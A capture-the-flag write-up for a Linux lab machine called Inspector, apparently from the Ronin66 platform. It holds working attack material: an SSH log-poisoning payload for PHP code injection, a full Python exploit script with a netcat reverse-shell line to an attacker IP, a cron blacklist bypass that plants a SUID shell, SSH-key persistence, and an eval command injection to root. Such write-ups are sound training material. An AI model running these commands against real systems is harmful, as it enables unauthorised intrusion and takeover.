Ronin66 Writeup: Inspector

22 Nov 2026 · Ronin66 · 12 min
Machine
Inspector
Platform
Ronin66
OS
Linux
Difficulty
Medium
Table of Contents

Overview

Inspector is a Linux machine that chains together three variations of the same bug class untrusted input flowing into an interpreter.

Initial access comes from an anonymous FTP share leaking a password-protected backup.zip; cracking it reveals the web application’s source code. Reviewing it uncovers an SSH log poisoning → PHP code injection flaw: an attacker-controlled SSH username is written verbatim into a PHP file that the app later include()s, giving us RCE as www-data.

From there, membership in the logreader group lets us feed a recover: command into a cron job (analyst_logs.sh) that runs as analyst and passes log contents straight to bash -c, bypassing its weak command blacklist. Finally, a password less sudo binary (logreader) uses eval on user input, giving command injection as root.

Enumeration

We started with an Nmap scan to identify the open ports and services running on the target.

Nmap Scan

Inspector ➜ nmap -Pn -sC -sV 10.0.68.134
Nmap Scan

Nmap Scan

Port Service Version
21/tcp FTP vsftpd 3.0.5
22/tcp SSH OpenSSH 9.6p1 (Ubuntu)
5000/tcp HTTP PHP cli server (PHP 8.3.6)

Open ports and services found by the Nmap scan

Three services stand out: a web application on port 5000, SSH, and an FTP server that allows anonymous access. We note the web server is running PHP 8.3.6 this becomes relevant later when crafting the payload.

FTP Enumeration

The scan flagged that FTP permits anonymous login, so we start there.

Retrieve backup.zip

Logging in anonymously, we find a single ZIP archive in the temp/ directory and download it.

Inspector ➜ ftp 10.0.68.134
ftp> get backup.zip
Retrieve File

Retrieve File

Review the ZIP Archive

The archive turns out to be password-protected. Since it’s only a ZIP, we can extract the hash and crack it offline to get at the contents.

Cracking backup.zip

We extract the hash (zip2john backup.zip > backup.zip.hash) and crack it with John against rockyou.txt:

Inspector ➜ john backup.zip.hash -w=/opt/Tools/rockyou.txt 
Cracked Password

Cracked Password

The zip password: ambanan14

Unzip the Archive

With the password recovered, we extract the archive. It contains a single file the source code of the web application.

Inspector ➜ unzip backup.zip
Successfully Unzipped

Successfully Unzipped

Review Source Code

index.php (abridged for readability):

<?php
session_start();

$valid_user = "admin";
$valid_pass = "gH7!e2#Kl9";

if (isset($_POST['login'])) {
    if ($_POST['username'] === $valid_user && $_POST['password'] === $valid_pass) {
        $_SESSION['authenticated'] = true;
        header("Location: index.php");
        exit();
    } else {
        $error = "Invalid credentials.";
    }
}

$logFile = __DIR__ . '/logs/users.php';

function check_logs_and_write_file() {
    global $logFile;

    $output = [];
    $auth_log_path = '/var/log/auth.log';
    if (file_exists($auth_log_path)) {
        $lines = array_reverse(file($auth_log_path));
        foreach ($lines as $line) {
            if (preg_match('/Invalid user (.+?) from/', $line, $matches)) {
                $output[] = "Invalid user: " . $matches[1];
            } elseif (preg_match('/Accepted password for (\S+) from/', $line, $matches)) {
                $output[] = "Accepted: " . $matches[1];
            }
            if (count($output) >= 1) break;
        }
        $output = array_reverse($output);
    }

    $logCode = "<?php\n";
    $logCode .= "echo \"Users:\\n\";\n";
    foreach ($output as $line) {
        $logCode .= "echo \"" . $line . "\\n\";\n";
    }
    $logCode .= "?>";

    file_put_contents($logFile, $logCode);
}

if (isset($_POST['update_logs'])) {
    check_logs_and_write_file();
}
?>

<!-- ... authenticated view ... -->
<div class="user-item">
    <?php
        if (file_exists($logFile)) {
            include($logFile);
        } else {
            echo "No log file has been generated yet.";
        }
    ?>
</div>

Code Review

Having the source lets us reason about exactly how the application behaves and where it goes wrong.

Authentication

At the top of the file we find hardcoded credentials used to authenticate as admin:

$valid_user = "admin";
$valid_pass = "gH7!e2#Kl9";

On a successful login the app sets $_SESSION['authenticated'] = true, which unlocks the “Update logs” feature. (As we’ll see, the credentials aren’t even strictly required for the exploit, since the dangerous input arrives through SSH but they give us the authenticated UI to trigger it.)

check_logs_and_write_file()

This is the dangerous function, it backs the Update logs button.

$lines = array_reverse(file($auth_log_path));   // newest line first
foreach ($lines as $line) {
    if (preg_match('/Invalid user (.+?) from/', $line, $matches)) {
        $output[] = "Invalid user: " . $matches[1];
    } elseif (preg_match('/Accepted password for (\S+) from/', $line, $matches)) {
        $output[] = "Accepted: " . $matches[1];
    }
    if (count($output) >= 1) break;
}

It reads /var/log/auth.log, reverses the lines so the newest entry comes first, and regex-extracts the username from the most recent Invalid user <X> from line. The break means only that single, latest entry is used.

Identified Vulnerability

The critical mistake is what it does with that extracted username:

$logCode  = "<?php\n";
$logCode .= "echo \"Users:\\n\";\n";
foreach ($output as $line) {
    $logCode .= "echo \"" . $line . "\\n\";\n"; // username unsanitized
}
$logCode .= "?>";

file_put_contents($logFile, $logCode);

It generates a brand-new PHP file (logs/users.php) by concatenating the extracted username directly into a line of PHP source code. For a username bob, the generated file contains:

<?php
echo "Users:\n";
echo "Invalid user: bob\n";
?>

Then, in the authenticated view, that generated file is executed:

if (file_exists($logFile)) {
    include($logFile);   // runs logs/users.php as PHP
}

include() parses and runs users.php as PHP on every page load. Because the username is attacker-controlled and ends up inside PHP source that gets executed, we have a clear path to Remote Code Execution.

Exploitation

The vulnerability is a textbook SSH log poisoning → PHP code injection → RCE. The data flow is:

SSH username → /var/log/auth.log → regex capture → logs/users.php → include()

No step along that chain sanitizes or escapes the value, so by the time it’s executed it is still exactly what we typed into the SSH client.

Performing the Attack Manually

Before scripting it, we walk through each step by hand to understand the chain.

We authenticate and save the session cookie. The password is passed with --data-urlencode because it contains special characters (!, #) that would otherwise break the request (and trigger history expansion in zsh):

Inspector ➜ curl -s -c cookies.txt --data-urlencode 'username=admin' --data-urlencode 'password=gH7!e2#Kl9' --data-urlencode 'login=1' http://10.0.68.134:5000/index.php -o /dev/null
Obtained Valid Cookie

Obtained Valid Cookie

Poison auth.log

We inject our payload as an SSH username. The OpenSSH client refuses usernames with “invalid characters” locally, so we use Hydra, which sends the username raw one failed attempt is enough to land the line in auth.log:

Inspector ➜ hydra -l '${system($_GET[cmd])}' -p x ssh://10.0.68.134
SSH Log Poisoning

SSH Log Poisoning

Why this payload? The username is interpolated into a double-quoted PHP string (echo "Invalid user: <X>\n";). Rather than trying to break out with a literal " — which sshd escapes — we abuse PHP double-quote interpolation: ${system(...)} executes inside the string.

Gain RCE

We trigger the log parser (the “Update logs” button) so the poisoned username is written into logs/users.php, then execute a command through the cmd parameter:

# Rewrite logs/users.php with our payload
curl -s -b cookies.txt -d "update_logs=1" http://10.0.68.134:5000/index.php -o /dev/null

# Trigger execution
Inspector ➜ curl -s -b cookies.txt -G http://10.0.68.134:5000/index.php --data-urlencode "cmd=id" | grep www
Gained RCE

Gained RCE

We get back uid=33(www-data) , confirmed RCE as the web user.

Creating a PoC Script

With the manual steps understood, we automate the full chain. The script logs in, poisons auth.log via paramiko (no Hydra dependency), regenerates users.php, verifies RCE, and can either run a single command or drop a reverse shell when given an IP and port.

#!/usr/bin/env python3
# Inspector (HTB) - SSH log poison -> PHP RCE
# n0xshell

import sys, re, socket
import requests, paramiko

BANNER = r"""
 ___ _   _ ____  ____  _____ ____ _____ ___  ____
|_ _| \ | / ___||  _ \| ____/ ___|_   _/ _ \|  _ \
 | ||  \| \___ \| |_) |  _|| |     | || | | | |_) |
 | || |\  |___) |  __/| |__| |___  | || |_| |  _ <
|___|_| \_|____/|_|   |_____\____| |_| \___/|_| \_\
   ssh log-poison -> php rce   ~ n0xshell
"""

USER = "admin"
PASS = "gH7!e2#Kl9"
PAYLOAD = "${system($_GET[cmd])}"   # runs via PHP double-quote interpolation


def send_cmd(s, base, cmd):
    r = s.get(f"{base}/index.php", params={"cmd": cmd}, timeout=10)
    m = re.search(r'class="user-item">(.*?)</div>', r.text, re.S)
    out = m.group(1) if m else ""
    lines = [l for l in out.splitlines()
             if l.strip() and "Users:" not in l and "Invalid user:" not in l]
    return "\n".join(lines).strip()


def main():
    if len(sys.argv) < 2:
        print("usage:")
        print("  ./inspector.py <url> [command]        run a command (default: id)")
        print("  ./inspector.py <url> shell <ip> <port>  reverse shell")
        sys.exit(1)

    base = sys.argv[1].rstrip("/")
    host = base.split("://")[1].split(":")[0]
    print(BANNER)

    # 1. login
    s = requests.Session()
    s.post(f"{base}/index.php", data={"username": USER, "password": PASS, "login": "1"})
    print("[+] logged in")

    # 2. poison auth.log with the payload as an SSH username
    sock = socket.create_connection((host, 22))
    t = paramiko.Transport(sock)
    t.start_client()
    try:
        t.auth_password(PAYLOAD, "x")
    except Exception:
        pass
    t.close()
    print("[+] poisoned auth.log")

    # 3. "Update logs" bakes the payload into logs/users.php
    s.post(f"{base}/index.php", data={"update_logs": "1"})

    # 4. quick check that RCE actually works
    if "uid=" not in send_cmd(s, base, "id"):
        sys.exit("[-] RCE not working - re-run (payload may not be the newest log line)")
    print("[+] RCE confirmed")

    # reverse shell mode
    if len(sys.argv) >= 5 and sys.argv[2] == "shell":
        lhost, lport = sys.argv[3], sys.argv[4]
        rev = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {lhost} {lport} >/tmp/f"
        print(f"[*] sending reverse shell to {lhost}:{lport}  (start nc -lvnp {lport} first)")
        try:
            s.get(f"{base}/index.php", params={"cmd": rev}, timeout=4)
        except requests.exceptions.ReadTimeout:
            print("[+] shell sent, check your listener")
        return

    # otherwise just run a command
    cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
    print(f"[*] running: {cmd}\n")
    print(send_cmd(s, base, cmd))


if __name__ == "__main__":
    main()

We set up a listener and run the script with our IP and port to catch a shell:

# Catch the shell (Penelope gives us an upgraded TTY automatically)
Inspector ➜ penelope -p 4444 -i ronin66

# Fire the exploit
(pt) Inspector ➜ python3 PoC.py http://10.0.68.134:5000 10.66.0.33 4444
Gained Shell

Gained Shell

Privilege Escalation

www-data → analyst

We have a shell as www-data, but no user flag yet. We enumerate for scheduled tasks and misconfigurations.

Discovering the Cron Job

During enumeration we find a job that runs every minute:

Identified Cron

Identified Cron

* * * * * analyst /usr/bin/analyst_logs.sh

Note the job runs as the analyst user so anything it executes runs with analyst’s privileges, not ours.

Reviewing /usr/bin/analyst_logs.sh

We can read the script:

www-data@inspector:/tmp$ cat /usr/bin/analyst_logs.sh
#!/bin/bash

for file in /logshare/*.log; do
    [ -f "$file" ] || continue
    echo "[*] Analyzing $file"

    while IFS= read -r line; do
        if [[ "$line" =~ ^recover:\ (.+) ]]; then
            cmd="${BASH_REMATCH[1]}"
            echo "[!] Found recovery command: $cmd"

            if [[ "$cmd" == *" sh "* || "$cmd" == "sh"* ]]; then
                echo "[!] Skipping potentially unsafe command: $cmd"
                continue
            fi
            
            bash -c "$cmd"
        fi
    done < "$file"
    rm -f -- "$file"
done

The script is a “log recovery” helper. For every .log file in /logshare/, it reads each line and, for any line matching recover: <command>, passes that command straight to bash -c.

Three conditions make this exploitable:

  1. It runs as another user. The cron job executes it as analyst, so any command it runs is run as analyst.
  2. We control its input. The directory it reads is group-writable by logreader, and www-data is a member of that group:
   drwxrwx--- 2 www-data logreader 4096 /logshare
   uid=33(www-data) ... groups=33(www-data),1001(logreader)

So we can drop our own .log file into /logshare/ with a recover: line of our choosing.

  1. The blacklist is weak (see below).
Bypassing the Filter

The safety check only blocks three literal strings /bin/bash, sh (space-padded), and a command starting with sh. It’s a deny list built around the obvious ways to spawn a shell, and it misses everything else: glob expansion, alternate interpreters, redirection, bash -i, and so on.

Abusing the Cron Job

We drop a payload that copies bash to a SUID binary, dodging the /bin/bash filter with the b?sh glob. Because the script runs as analyst, the copy ends up owned by analyst:

echo 'recover: cp /bin/b?sh /tmp/.rb && chmod 4755 /tmp/.rb' > /logshare/pwn.log

After waiting one minute for the cron, we run our SUID shell with -p (so it keeps the effective UID instead of dropping it):

/tmp/.rb -p
Gain Analyst User

Gain Analyst User

We now have analyst-level access. To stabilize it, we add our SSH key to /home/analyst/.ssh/authorized_keys and log in cleanly over SSH for the rest of the work.

Post-Enumeration

We have stablished our shell, by adding our SSH key to the authroized_keys file. This enables us to have more stability perform post-enumeration.

Checking sudo Rights

(ALL) NOPASSWD: /usr/local/bin/logreader

Whatever logreader does, we can make it do as root without a password.

logreader

We identified that we are allowed to execute: /usr/local/bin/logreader with sudo.

Reviewing logreader

logreader takes one argument a log name builds the string cat /var/log/<arg>, and runs it.

analyst@inspector:~$ cat /usr/local/bin/logreader
#!/bin/bash
if [ -z "$1" ]; then
    echo "Use: $0 <logname>"
    exit 1
fi

echo "[*] Read log '$1'..."
eval "cat /var/log/$1"

The script takes a log name, builds the string cat /var/log/<arg>, and runs it. Intended use is logreader auth.log.

Identify Vulnerability

The problem is the single word eval. Instead of running cat with our argument as a filename, eval takes the whole assembled string and re-parses it as a fresh shell command line. That means shell metacharacters in our argument — ;, |, &&, $(...) are interpreted as syntax, not treated as part of a filename. Our input is no longer data; it’s code.

Injecting a ; lets us terminate the cat command and start our own, which thanks to the sudo rule runs as root:

Post-Exploitation

We have reviewed logreader, we are going to add SUID bit to /bin/bash since we execute it in the context as root, we are able to escalate our privilege.

Command Injection to Root

We performed the injection that flips the SUID bit on /bin/bash:

analyst@inspector:~$ sudo /usr/local/bin/logreader 'x; chmod +s /bin/bash'
Succesfully Gained Root

Succesfully Gained Root

We now have root-level access to the target.

← Back to Writeups